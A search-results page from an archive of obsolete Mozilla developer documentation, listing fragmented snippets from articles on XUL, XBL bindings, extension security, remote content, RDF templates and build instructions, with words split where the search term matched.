...ommon problem: communication between window xul and web page content. it isn't hard for xul code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension xul code to receive information from pages in a secure manner. this is because it would be very insecure to have a website js controlling the behavior of firefox and running javascr
ipt code with chrome privileges. suppose your extension interacts with pages from a website, and you want some actions on this site to trigger actions in your extension. one way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. you can capture the events in the xul overlay, since they'll bubble all the way up: // in the ov...
...And 5 more matches
Connecting to Remote Content - Archive of obsolete content
it is an integral part of the modern web, and all major browsers support it. besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json communication mechanisms. ...
...g initialization, onload and onerror handlers are registered to a callback function to handle the response returned from the remote server. in both cases aevent.target is an nsixmlhttprequest. in the onload callback function, the responsetext parameter contains the server response as text. if the response is an xml document, the responsexml property will hold an xmldocument object that can be man
ipulated using dom methods. sometimes the server doesn't specify an xml content-type header, which is necessary for the xml parsing to happen automatically. you can use overridemimetype to force the response to be parsed as xml. request.overridemimetype("text/xml"); // do this before sending the request! the open method takes two required parameters: the http request method and the url to send th...
...'t want users to be stuck waiting while a request is obtained and processed. therefore, it is very important that xmlhttprequest calls are always done asynchronously. now let's look at the most common types of content you can use to communicate with remote servers. json content json is a very lightweight and simple data representation format, similar to the object representation used in javascr
ipt. unlike javascr
ipt, the json format doesn't allow any kind of code that can be run, only data. json used to be risky in terms of security because the favored way of parsing it was to use the javascr
ipt eval function. since eval executes any code contained in the string, workarounds had to be devised in order to close security holes. luckily, firefox now provides a few alternatives for extension...
...And 5 more matches
Custom XUL Elements with XBL - Archive of obsolete content
in mind when defining the content of the binding, because weird things can happen if you don't add "xul:" to your content nodes. <binding id="person"> in general, you should only have one binding per file. bindings tend to require many lines of code, and having more than one ends up making gigantic, unbrowsable files. on the other hand, if your bindings are small and have a strong relationsh
ip with each other, it makes sense to keep them together. as for the css file, it's usually good to have a single file declaring all bindings in your extension. content under the content tag you define the xul content that will be displayed for your element. <content> <xul:hbox> <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:la...
...ether. as for the css file, it's usually good to have a single file declaring all bindings in your extension. content under the content tag you define the xul content that will be displayed for your element. <content> <xul:hbox> <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:label xbl:inherits="value=name" /> <xul:descr
iption xbl:inherits="value=greeting" /> </xul:vbox> <xul:vbox> <xul:button label="&xulshoolhello.remove.label;" accesskey="&xulshoolhello.remove.accesskey;" oncommand="document.getbindingparent(this).remove(event);" /> </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button. here are a couple of im...
... attribute gives you a little more flexibility with children, but it's rarely needed. one important thing to take into account is that you shouldn't use the id attribute in any content nodes. these nodes are part of the xul dom just like any other, and having an id attribute is bound to cause problems, given that you could have more than instance of your element in the same document and then mult
iple inner items with the same id. in order to work around this problem, the anonid attribute is used instead: <xul:label anonid="xulshoolhello-name-label" xbl:inherits="value=name" /> and then, in order to get a reference to the node from the js code in your binding, we use the getanonymouselementbyattribute dom method: let namelabel = document.getanonymouselementbyattribute( this, ...
...And 5 more matches
The Box Model - Archive of obsolete content
the packing will no longer be useful, but the alignment still makes a difference. it also wouldn't make sense to use flexibility or packing in the hbox if it didn't have any available horizontal space; the container element needs to either be flexible itself, or have a fixed width larger than its contents. text there are 2 xul elements that are typically used for displaying text: label and descr
iption. their behavior is nearly identical, but they are meant to be used in different situations. the label element should be used mainly for text in xul forms, such as the ones you see in the firefox options / preferences window. here's a typical usage of the label element: <label control="xulschoolhello-greeting-textbox" value="&xulschoolhello.typegreeting.label;" /> <textbox id="xulschoolh...
...extbox id="xulschoolhello-greeting-textbox" /> the label says something like "type a greeting message", and the textbox next to it allows the user to type the message. the control attribute links the label to the textbox. if the user clicks on the label, the textbox will be focused. also, if the user has a screen reader, the label will be read when the focus is placed on the textbox. the descr
iption element is used for the rest of the cases, where the text is only meant as additional information and is not related to input elements. handling text in xul may seem simple, but it's actually quite a tricky subject. you always have to keep in mind that localized strings may be significantly longer in other languages, specially much longer than english strings. you should avoid using long blo...
...e significantly longer in other languages, specially much longer than english strings. you should avoid using long blocks text, and also avoid designing your ui so that everything fits just right around text. you should always keep in mind that the text can be much longer, and your ui should adapt to it. labels should generally be short, and they should always be displayed in a single line. ...
...And 5 more matches
Security best practices in extensions - Archive of obsolete content
want a web page to send a notification to the add-on (or vice versa). one way to do this is to use custom dom events; see interaction between privileged and non-privileged pages. regardless of where the document comes from, you can further restrict what it can do by applying properties to the document holder, known as the docshell. frame.docshell.allowimages = false; frame.docshell.allowjavascr
ipt = false; frame.docshell.allowplugins = false; there are more examples listed in the document listed above in this section. in certain circumstances you may want to run code in your extension, but you would like to give it restricted privileges. one of the best ways to do this is to use components.utils.evalinsandbox(). note that objects passed into the sandbox are restricted, but objects that ...
...ke steps to ensure that the content can not call back into the web browser and run malicious code. the main way to do this is by creating an iframe or browser element in the sidebar, and loading your content there. give the element a type="content" attribute, which essentially sandboxes the code there and blocks callback rights into chrome. using eval() in an extension using the built-in javascr
ipt eval function is frowned upon in the context of extensions. while there are some legitimate use-cases, most of the time there are safer alternatives. this blog post offers some excellent reasons not to use eval(). sandboxed http connections the main purpose of sandboxed http connections is to interact with a web service, without interfering with the cookies set in the browser by that service/s...
...ord manager. when users clear logins using the "clear recent history" option, it will include your extension's data. apis and other data handling web content is more than just pages, and more and more add-ons are interacting with web services via an application programming interface (api). ...
...And 5 more matches
Tabbed browser - Archive of obsolete content
of course the entire application firefox is called "a browser". ...
...of course the entire application firefox is called "a browser". ...
...of course the entire application firefox is called "a browser". ...
...And 5 more matches
XUL user interfaces - Archive of obsolete content
user-interface language, usually pronounced like "zool"). in xul, many common user interface features are built in. for example, xul provides specialized windows like dialogs and wizards, as well as status bars, menus, tool bars, and even browsers. more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascr
ipt code, and xbl bindings. like other xml-based languages, xul uses css stylesheets. more details for more information about xul user interfaces, see the xul page in this wiki. action: a xul demonstration make a new xul document as a plain text file, doc7.xul. copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesh...
...stration make a new xul document as a plain text file, doc7.xul. ...
...ent as a plain text file, doc7.xul. ...
...And 5 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
bar');" /> </broadcasterset> </overlay> the overlay file consists of three entries, the menu definition, shortcut keys and the broadcaster. the broadcaster serves two purposes. the first is it indirectly provides the arguments for the togglesidebar function. the second is it provides attributes to the menuitem, some of which are changed automatically when togglesidebar is called. see code_sn
ippets/sidebar for more information. if the sidebar is not going to have a command-key, one can remove the openemptysidebar.commandkey and openemptysidebar.modifierskey keys from the dtd, remove the <keyset> from the firefoxoverlay.xul file. one must then set the key attribute of the menuitem to "". the extension needs to provide some special manifest files that control how it is installed and whe...
...d where its chrome resources are stored. the first is install.rdf, the install manifest. see install manifests for a complete listing of the required and optional properties. the install manifest is listed in example 5. example 5. ...
...xample 5. ...
...And 5 more matches
Creating a hybrid CD - Archive of obsolete content
here is the hfs mapping that i used. the creator "moss" is for netscape 4.x and "mozz" is used for mozilla. it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but teachtext cannot. ...
...t i used. the creator "moss" is for netscape 4.x and "mozz" is used for mozilla. it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but teachtext cannot. ...
... the creator "moss" is for netscape 4.x and "mozz" is used for mozilla. it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but teachtext cannot. ...
...And 5 more matches
Installing Dehydra - Archive of obsolete content
gcc 4.5, with the package gcc-4.5-plugin-dev installed. (alternately, build from source) a modern linux distribution. dehydra is not supported on mac os x. building spidermonkey it is recommended that you use spidermonkey revision aurora_base_20110705 when building dehydra. ...
...a_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/newer branches (like aurora_base_20120131) are working, too. please also note that autoconf v2.13 is really needed: it does not work with e.g. v2.68. there is no need for some installation after make. you can sk
ip the next section "building gcc 4.5" if you are using gcc 4.6 or above. building gcc 4.5 for treehydra's process_tree_decl to work, when compiling with g++, you must use a patched gcc 4.5 before building dehydra. cd $home # obtain gcc 4.5.3 (see http://gcc.gnu.org/mirrors.html for alternate mirrors) wget http://www.netgull.com/gcc/releases/gcc-4.5.3/gcc-4.5.3.tar.bz2 tar -jxvf gcc-4.5.3.tar.bz2 #...
...export cxx=/usr/bin/g++ ./configure \ --js-headers=$home/obj-js/dist/include \ --js-libs=$home/obj-js make # run dehydra and treehydra tests make check usage dehydra checking can be performed directly within the mozilla build. to enable static checking of a mozilla build, see building with static checking. ...
...And 5 more matches
Layout System Overview - Archive of obsolete content
where the width of the presentation is constrained by the dimensions of the printed output (paper) and the height of each page is fixed. this paged presentation presents several challenges not present in the galley presentation, namely how to break up elements that are larger than a single page, and how to handle changes to page dimensions. ...
...(note: it is unclear if this is really a benefit - it may have been better to use a copy of the content model for each presentation, and to remove the complexity of managing separate presentations - analysis is needed here). ...
...to be supported simultaneously from the same content model. in other words, the same html or xml document could be viewed as a normal galley presentation in a browser window, while simultaneously being presented in a paged presentation to a printer, or even an aural presentation to a speech-synthesizer. to date the only real use of this mult
iple presentation ability is seen in printing, where mult
iple presentations are managed, all connected to the same content model. (note: it is unclear if this is really a benefit - it may have been better to use a copy of the content model for each presentation, and to remove the complexity of managing separate presentations - analysis is needed here). the idea of supporting a non-visual presentation is interesting. layout's support for aural presentation...
...And 5 more matches
Reading textual data - Archive of obsolete content
character encoding of the data. you can fallback to the default character encoding stored in preferences (intl.charset.default, a localized pref value) when reading from a file, the question is harder to answer. using the system character encoding may work (xxx insert text how to get it), or again the default character encoding from preferences. converting read data if you read data from nsiscr
iptableinputstream as described on the file i/o code sn
ippets page, you can convert it to utf-8 // sstream is nsiscr
iptableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterservice;1"]. getservice(components.interfaces.nsiutf8converterservice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and newer read...
...ine); // now you can do something with line.value } while (cont); } the above example reads an entire stream until eof. see nsiconverterinputstream for nsiconverterinputstream.init() arguments. earlier versions reading strings earlier versions of gecko do not provide easy ways to read unicode data from a stream. ...
...erterinputstream for nsiconverterinputstream.init() arguments. earlier versions reading strings earlier versions of gecko do not provide easy ways to read unicode data from a stream. you will have to manually read a block of data and convert it using nsiscr
iptableunicodeconverter. ...
...And 5 more matches
File object - Archive of obsolete content
warning: this section describes the file component of the spidermonkey javascr
ipt interpreter. file is non-standard, not generally compiled into distributions, is a potential source of huge security holes, and not well tested. getting started in order to use the file object from your javascr
ipt programs, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine. if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor ma...
... can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery. summary non-standard server-side object this object lets you work files and directories on the local filesystem, and create os p
ipelines. creating a p
ipeline involves spawning arbitrary processes; this means that giving a scr
ipt access to the file object is exactly equivalent to giving the scr
ipt access to the unix shell or dos command interpreter. filesystem access is implemented with nspr i/o functions, and as such shares many semantics. p
ipelines are implemented with the popen() system call. there is currently no support...
...use of standard "file:" urls is encouraged. if no argument is supplied to the constructor, the current working directory is the file object that is returned. ...
...And 5 more matches
XML in Mozilla - Archive of obsolete content
for xml. several world wide web consortium (w3c) recommendations and drafts from the xml family of specifications are supported, as well as other related technologies. this page is outdated. please help updating it with current information. supported core xml w3c recommendations the core xml support includes parsing xml without validation (we use the expat parser), displaying xml with css, man
ipulating xml documents with scr
ipts via dom, associating stylesheets with xml documents, and namespaces in xml. the core support is very good with few bugs. dtds and other external entities mozilla does not load external entities from the web. mozilla can load external entities whose system identifier uses the chrome protocol. this feature is used mainly to localize mozilla to different languages (...
...roup for xml discussion is mozilla.dev.tech.xml. ...
...la.dev.tech.xml. ...
...And 5 more matches
Dynamically modifying XUL-based user interface - Archive of obsolete content
you may also want to read some introductory documents about dom, like the about the document object model article or the introduction page of the gecko dom reference. ...
...you may also want to read some introductory documents about dom, like the about the document object model article or the introduction page of the gecko dom reference. ...
...ul interfaces, using dom and other apis. it explains the concept of dom documents, demonstrates a few simple examples of using dom calls to perform basic man
ipulations on a document, and then demonstrates working with anonymous xbl content using mozilla-specific methods. it is written for beginner to intermediate xul developers. we assume that the reader has basic knowledge of both xul and javascr
ipt. you may also want to read some introductory documents about dom, like the about the document object model article or the introduction page of the gecko dom reference. ...
...And 5 more matches
Simple Query Syntax - Archive of obsolete content
e used when iterating over only one predicate. simple rdf graph navigation such as this is common, so the simpler syntax is usually used in this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved. a simple query is equivalent to a query with only the content tag and a member tag, as well as optionally a set of tr
iples from the child node. at its simplest, the simple query syntax is equivalent to the following: <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> the template builder uses the simple query syntax whenever a template does not have a <query> element. if a <query> element is present, the full syntax is used instead. in the simple syntax, the builder will use...
... can see in the example that the value 'rdf:*' is used in two places, the uri attribute on the hbox and as the src attribute for the image. here is the photos example using the simple syntax. the filtering isn't shown in this example. it is still possible to do filtering using simple query and we'll look at this below. simple query conditions simple queries also use a simpler way of handling tr
iple elements to filter out unwanted results. it allows you to filter for results that have certain predicates with specific values. for instance, you may filter results that have a certain category or country. you can only filter on predicates pointing out of the member resource. that is, you cannot filter on predicates pointing into the member resource nor can you cannot filter based on predicates...
...t have certain predicates with specific values. for instance, you may filter results that have a certain category or country. you can only filter on predicates pointing out of the member resource. that is, you cannot filter on predicates pointing into the member resource nor can you cannot filter based on predicates pointing out of other resources. for that, you need to use the full syntax. ...
...And 5 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
buttons to the toolbar palette, rather than adding them directly to the toolbar. the latter is possible, but is not recommended and is harder to implement. adding a button to the toolbar palette is very easy. just add code like this to your overlay: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" toolt
iptext="&toolbarbutton.toolt
ip;" oncommand="myextension.ontoolbarbuttoncommand(event);"/> </toolbarpalette> notes: the id of the palette (browsertoolbarpalette in the example) depends on the window (the parent window of the toolbar you wish to insert a button). see below for the list of common palette ids. class="toolbarbutton-1" makes the toolbar button appear correctly in icons and text...
...nd attribute. if you need to handle middle-click, add this line after the oncommand line. onclick="checkformiddleclick(this, event)" you can also handle middle-click and right-click using onclick handler and check event.button in it like this: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" toolt
iptext="&toolbarbutton.toolt
ip;" onclick="myextension.onclick(event);"/> </toolbarpalette> onclick: function(event) { switch(event.button) { case 0: // left click break; case 1: // middle click break; case 2: // right click break; } } to add more buttons, put more <toolbarbutton> elements inside the <toolbarpalette> element. wrap elements other than <toolbarbutton> in <toolbaritem>. adding t...
...he browserpalette is indirectly reached. a simple document.getelementbyid('browsertoolbarpalette') will not work. this is the code to create and add it in. ...
...And 5 more matches
Content Panels - Archive of obsolete content
ce by opening a different window for each screen. there are three problems with this approach. first, each window could appear in a different location (although there are ways around this). second, the elements such the back and next buttons are the same throughout the interface. it would be much better if just the content area of the wizard changed. third, it would be difficult to co-ordinate scr
ipts when running in different windows. note that xul does have a wizard element which may be used to create wizard interfaces. this will be described in a later section. another approach is to use the iframe element, which works much like the html element of the same name. it creates a separate document within the window. it has the advantage that it can be placed anywhere and the contents can be l...
...t, which works much like the html element of the same name. it creates a separate document within the window. it has the advantage that it can be placed anywhere and the contents can be loaded from a different file. set the url to appear in the frame with the src attribute. this url may point to any kind of file, although it will usually point to an html file or another xul file. you can use a scr
ipt to change the contents of the iframe without affecting the main window. in the mozilla browser window, the area where the web page is displayed is created by using an iframe. when the user enters a url or clicks on a link in a document, the source of the frame is changed. iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <to...
...er. a box has been created containing two elements: a toolbox and an iframe. a back button, a forward button and a field for typing is urls has been added to the only toolbar (we'll learn about toolbar in a later section). the web pages would appear inside the iframe. in this case, the file index.html would appear by default. this example isn't functionally complete. next, we would want to add scr
ipt which changes the src attribute at the desired time, for example when the user presses the enter key. browsers there is a second type of content panel, using the browser tag. you would use this when you want to create a frame that displays content like a browser. actually, the iframe can do this too, but the browser has a variety of additional features. for example, the browser maintains a ...
...And 5 more matches
XPCOM Interfaces - Archive of obsolete content
<< previousnext >> in this section, we'll take a brief look at xpcom (cross-platform component object model), which is the object system that mozilla uses. calling native objects by using xul we can build a complex user interface. we can attach scr
ipts which modify the interface and perform tasks. however, there are quite a number of things that cannot be performed directly with javascr
ipt. for example, if we wanted to create a mail application, we would need to write scr
ipts which would connect to mail servers to retrieve and send mail. javascr
ipt does not have the capability to do such things. the only way to handle this would be to write native code that would get mail. we also need to have a way for our scr
ipts to call the native code easily. mozilla provides such a method wh...
...or each menu, button and element. the components are constructed from a number of definitions called interfaces. an interface in mozilla is a definition of a set of functionality that could be implemented by components. components are what implement the code in mozilla that does things. each component implements the functionality as described by interfaces. a single component might implement mult
iple interfaces. and mult
iple components might implement the same interface. let's take an example of a file component. an interface would need to be created which describes properties and functions that can be performed on files. a file would need properties for its name, modification date and its size. functions of a file would include moving, copying and deleting it. the file interface only des...
...usually preceded by 'nsi' or 'mozi' so that they are easily recognized as interfaces. for example, the nsiaddressbook is the interface for interacting with an address book, nsisound is used for playing files and nsilocalfile is used for files. for more interfaces in mozilla, see interfaces. ...
...And 5 more matches
XUL element attributes - Archive of obsolete content
ut is used to specify the position in the opposite direction. you can also specify the value of align using the style property -moz-box-align. allowevents type: boolean if true, events are passed to children of the element. otherwise, events are passed to the element only. allownegativeassertions type: boolean valid on any element that has a datasources attribute. when mult
iple datasources are used, one may override an assertion from another. this attribute, if true, which is the default, allows a datasource to negate an earlier assertion. class type: string the style class of the element. mult
iple classes may be specified by separating them with spaces. coalesceduplicatearcs type: boolean valid on any element that has a datasources attribute. when m...
...this attribute, if true, which is the default, allows a datasource to negate an earlier assertion. ...
...: id should be set to the value of the id of the popup element that should appear when the user context-clicks on the element. a context-click varies on each platform. usually it will be a right click. you can use the special value '_child' to indicate the first menupopup child of the element. contextmenu type: id alternate name for the context attribute, but also has a corresponding scr
ipt property contextmenu. datasources type: space separated list of datasource uris a space-separated list of datasources that an element's template will use for content generation. these can be either internal datasources such as rdf:bookmarks or a url. the datasources attribute may be placed on most elements, although it will usually be found on trees and menu related elements. the elemen...
...And 5 more matches
XUL Template Primer - Bindings - Archive of obsolete content
ontent model an rdf/xml file. ...
.../keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <tr
iple subject="?uri" predicate="http://home.netscape.com/nc-rdf#friends" object="?friends"/> <member container="?friends" child="?friend"/> <tr
iple subject="?friend" predicate="http://home.netscape.com/nc-rdf#name" object="?name"/> </conditions> <bindings> <binding subject="?friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf...
...ions> and <action> elements, so we won't discuss those here. we'll use a the following data model to illustrate how bindings work. see the rdf/xml file friends.rdf, below, a simple database with name and address information for some of my good friends. ...
...And 5 more matches
tree - Archive of obsolete content
s are used, as listed below. the second column lists the interfaces available via the tree's view property. the third column indicates whether treeitem element are used. if you would like to allow the tree to be horizontally scrolled, simply set the width attributes for each column to make the tree wider than its containing object. tree type view interfaces has dom nodes? descr
iption content tree nsitreeview, nsitreecontentview yes this tree has treeitem elements placed within the treechildren element. in this situation, a content view (which implements the interface nsitreecontentview) which is a more specialized type of view, uses the treeitem elements and their descendants to determine the data to display in the tree. however, the treeitems are not di...
... this results in a performance enhancement, but you will not be able to use the dom functions to retrieve the tree rows. hidecolumnpicker type: boolean when set to false, a drop-down will appear in the upper right corner of the tree, which the user may use to show and hide columns. when set to true, the column picker will be hidden. the default value is false. onselect type: scr
ipt code this event is sent to a tree when a row is selected, or whenever the selection changes. the user can select mult
iple rows by holding down shift or control and clicking on a row. the onselect event will be sent for each item added to or removed from the selection. rows type: integer the number of rows to display in the element. if the element contains more than th...
...oved from the selection. rows type: integer the number of rows to display in the element. if the element contains more than this number of rows, a scrollbar will appear which the user can use to scroll to the other rows. to get the actual number of rows in the element, use the getrowcount method. seltype type: one of the values below used to indicate whether mult
iple selection is allowed. single only one row may be selected at a time. (default in listbox and richlistbox.) mult
iple mult
iple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary colum...
...And 5 more matches
Gecko Compatibility Handbook - Archive of obsolete content
ibility. 4.x vs. gecko since 1997, much of the web's content has been developed for microsoft internet explorer 4 or netscape navigator 4. these browsers were developed before the relevant w3c recommendations for html, css, and the dom existed. ...
...ape navigator 4. these browsers were developed before the relevant w3c recommendations for html, css, and the dom existed. these earlier, non-standards based browsers differed in several ways from gecko: these browsers use proprietary (non-standard) html, css, and javascr
ipt. internet explorer 4 and netscape navigator 4 share support for a large part of the html 3.2 standard and basic javascr
ipt. while they support the css 1 standard to some degree, the implementations are not complete and have non-standard features added. neither internet explorer 4 or netscape navigator 4 support the w3 dom. instead, each browser supports its own proprietary api for man
ipulating the content, style and position of html elements in a web page. in addition, internet explorer 4 and netscape navigator 4...
... web standards in your web pages for a quick tutorial on what's different in gecko. aol or compuserve problems even if your site works on netscape 7.x, it is important to test your site in aol for macos and compuserve 7 to check for browser detection and network issues. testing aol from within a firewall if you need to connect to aol via a corporate firewall, america online has registered tcp/
ip ports 5190 and 11523 so you can communicate with the aol client software. this way you can test your site on the aol client from behind your firewall, provided that your network administrators will open these ports. you need to be connected to the internet to test your site on aol; it isn't possible to access your site on a local machine via your lan, without an internet connection. see webmaste...
...And 5 more matches
The First Install Problem - Archive of obsolete content
l. example: a piece of software called myapplication might create hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.0.1/ where the plid is something the corporation that makes myapplication (mycompany inc.) determines. note that myapplication consists of one dll (which is an npapi plugin handling a given mimetype -- say application/x-myapp) and one xpt file, for scr
iptable interfaces. caveat emptor: if the key cannot be created under hkey_local_machine, create it as hkey_current_user\software\mozillaplugins\ under hkey_current_user. on windows xp and windows 2000, in order to write to the registry, sometimes the software may need administrator privileges. thus, some installers may need to write to the hkey_current_user key; this doesn't require administrator...
... path to the actual dll. (note that the file name must still begin with "np", just as it must when the file is loaded from the .\plugins directory.) example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] path=c:\mycompany\myapplication\netscape\npmyapp.dll "xptpath" -- string value -- absolute path to xpt module required for scr
ipting plug-in, if applicable example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] xptpath=c:\mycompany\myapplication\netscape\npmyapp.xpt "geckoversion" -- this is the optional mention of the minimal gecko version that the browser is compatible with. example: [hkey_local_machine\software\mozillaplugins\@mycompan...
...: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01\mimetypes\application/x-myapp] there can be more than one such subkey, depending on how many mimetypes an application wishes to handle (or advertise that it handles). ...
...And 5 more matches
What is RSS - Archive of obsolete content
eb sites, of blogs, of internet radio, and of internet television. this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss. rss is almost never written by hand; it is almost always created by server-side software (usually written in a language like php, java, c#, or python) on the web server. however, so that we can learn rss, we will be creating rss scr
ipts by hand. a short history of rss in march of 1999 netscape released rss 0.90. it was much much different than today's rss. it wasn't really a format for syndication, but was a format for providing a summary of a website. in fact, back then, rss did not stand for really simple syndication but stood for rich site summary. in july of 1999 netscape's rss 0.91 was released. like rss 0.90, netscape...
... website. they can even re-syndicate it. and more. if you don't want any of that done, then don't put it in a non-password-protected rss feed, and, of course, don't make the password public. news web sites use rss to provide everyone with a list of their newest articles. ...
...d more. if you don't want any of that done, then don't put it in a non-password-protected rss feed, and, of course, don't make the password public. news web sites use rss to provide everyone with a list of their newest articles. ...
...And 5 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
have standard procedures at every level? following standards is certainly not a new organizational phenomenon; organizations require their employees to follow common rules, or a common set of standards all the time. memos, time cards, and accounting procedures are all standardized across groups. in the development world, there is a need for standards because applications are designed across mult
iple development groups. many organizations publish internal development standards and practices. for example, an organization may decide that c++, java, and javascr
ipt will be the primary coding languages. they may require that each project be comprised of marketing requirements documents, product requirements documents, functional requirements documents, quality assurance test plans, and certifica...
...co-pilot that allowed the xerox development organization to quickly and easily debug issues. however, what xerox neglected to understand was that regardless of how powerful pilot and co-pilot was, the star workstation could not evolve with the times because it was proprietary. xerox was bound to a unique hardware platform and to a closed development operating system. and xerox chose to bypass mult
iple opportunities to port the code to other platforms, and to provide open-source code. consequently, xerox eventually had to shut down the production of their workstation development because of escalating manufacturing and developing costs and slowed sales. xerox's biggest asset in the beginning became its weapon of destruction. they settled on a proprietary environment, and missed the opportunit...
...nction, view, and process information consistently as they transition from one device to the next. a significant drawback in allowing divergence across applications is that information must be replicated, altered, or massaged to be processed across the divergent applications. this also creates issues in regard to authoring tools for these various applications. for example, let us say we have mult
iple application offerings that can be used to browse the web. each of these applications has followed their own development and support standards. they each may support some or part of the international standards, but not fully. what authoring tool should we use? would it be fiscally prudent to develop proprietary authoring tools for each application? what would the market adoption rate be for the ...
...And 5 more matches
RDF in Fifty Words or Less - Archive of obsolete content
first, rdf is a graph-based model for describing internetresources (like web pages and email messages), and how these resources relate to one another. but what does that mean,really? to a mozilla developer, it means that the rdf data model (the "graph") can be used as a mechanism for integrating and organizing internet resources. ...
..."smart" folders that, when you open them, dynamically generate their contents by running common search that you define. and a "bookmark" could really have arbitrary properties associated with it: you might want to invent your own "classification" scheme for a bookmarka la macintosh's "hot", "warm", "cool" color coding. or you might want to relate a bookmark to another bookmark, or keep it in mult
iple "folders" at once. the rdf graph provides a perfect data model upon which to build a "universal" bookmarking service as described above: the graph can contain pointers to arbitrary resources and can group them in just about any way that you can imagine. but wait, there's more... second, rdf is a serialization syntax. this syntax allows the graph-like model to be communicated between "agents"...
... go back to our bookmark example. say that one of my bookmark "folders" is really a pointer to my email inbox: when i open that folder, voila! all the messages that i've received over night appear. but how did that happen? the inbox "folder" was really just a pointer to an internet resource that contains more rdf that extends the graph. ...
...And 5 more matches
Explaining basic 3D theory - Game development
rent vertices (points in space) and 6 different faces, each constructed out of 4 vertices. a normal defines which way the face is directed in. also, by connecting the points we're creating the edges of the cube. the geometry is built from a vertex and the face, while material is a texture, which uses a color or an image. if we connect the geometry with the material we will get a mesh. ...
... space) and 6 different faces, each constructed out of 4 vertices. a normal defines which way the face is directed in. also, by connecting the points we're creating the edges of the cube. the geometry is built from a vertex and the face, while material is a texture, which uses a color or an image. if we connect the geometry with the material we will get a mesh. ...
...s directed in. also, by connecting the points we're creating the edges of the cube. the geometry is built from a vertex and the face, while material is a texture, which uses a color or an image. if we connect the geometry with the material we will get a mesh. rendering p
ipeline the rendering p
ipeline is the process by which images are prepared and output onto the screen. the graphics rendering p
ipeline takes the 3d objects built from primitives described using vertices, applies processing, calculates the fragments and renders them on the 2d screen as pixels. terminology used in the diagram above is as follows: a primitive: an input to the p
ipeline -- it's built from vertices and can be a triangle, point or line. a fragment: a 3d projection of a pixel, which has all the same attribut...
...And 5 more matches
Grids - Learn web development
the prefixed versions will be maintained as an alias so will be safe to use for some time. to be on the safe side, you could double up and add both properties to make your code more bulletproof. .container { display: grid; grid-template-columns: 2fr 1fr 1fr; grid-gap: 20px; gap: 20px; } repeating track listings you can repeat all, or a section of, your track listing ...
...ound-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } aside { border-right: 1px solid #999; } <div class="container"> <header>this is my lovely blog</header> <article> <h1>my article</h1> <p>duis felis orci, pulvinar id metus ut, rutrum luctus orci. cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula
ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius commodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam...
...stas augue ut luctus. proin blandit quam nec lacus varius commodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus susc
ipit vel. mauris ultricies lectus sed lobortis finibus. vivamus eu urna eget velit cursus viverra quis vestibulum sem. aliquam tincidunt eget purus in interdum. cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </article> <aside> <h2>other things</h2> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus t...
...And 5 more matches
Legacy layout methods - Learn web development
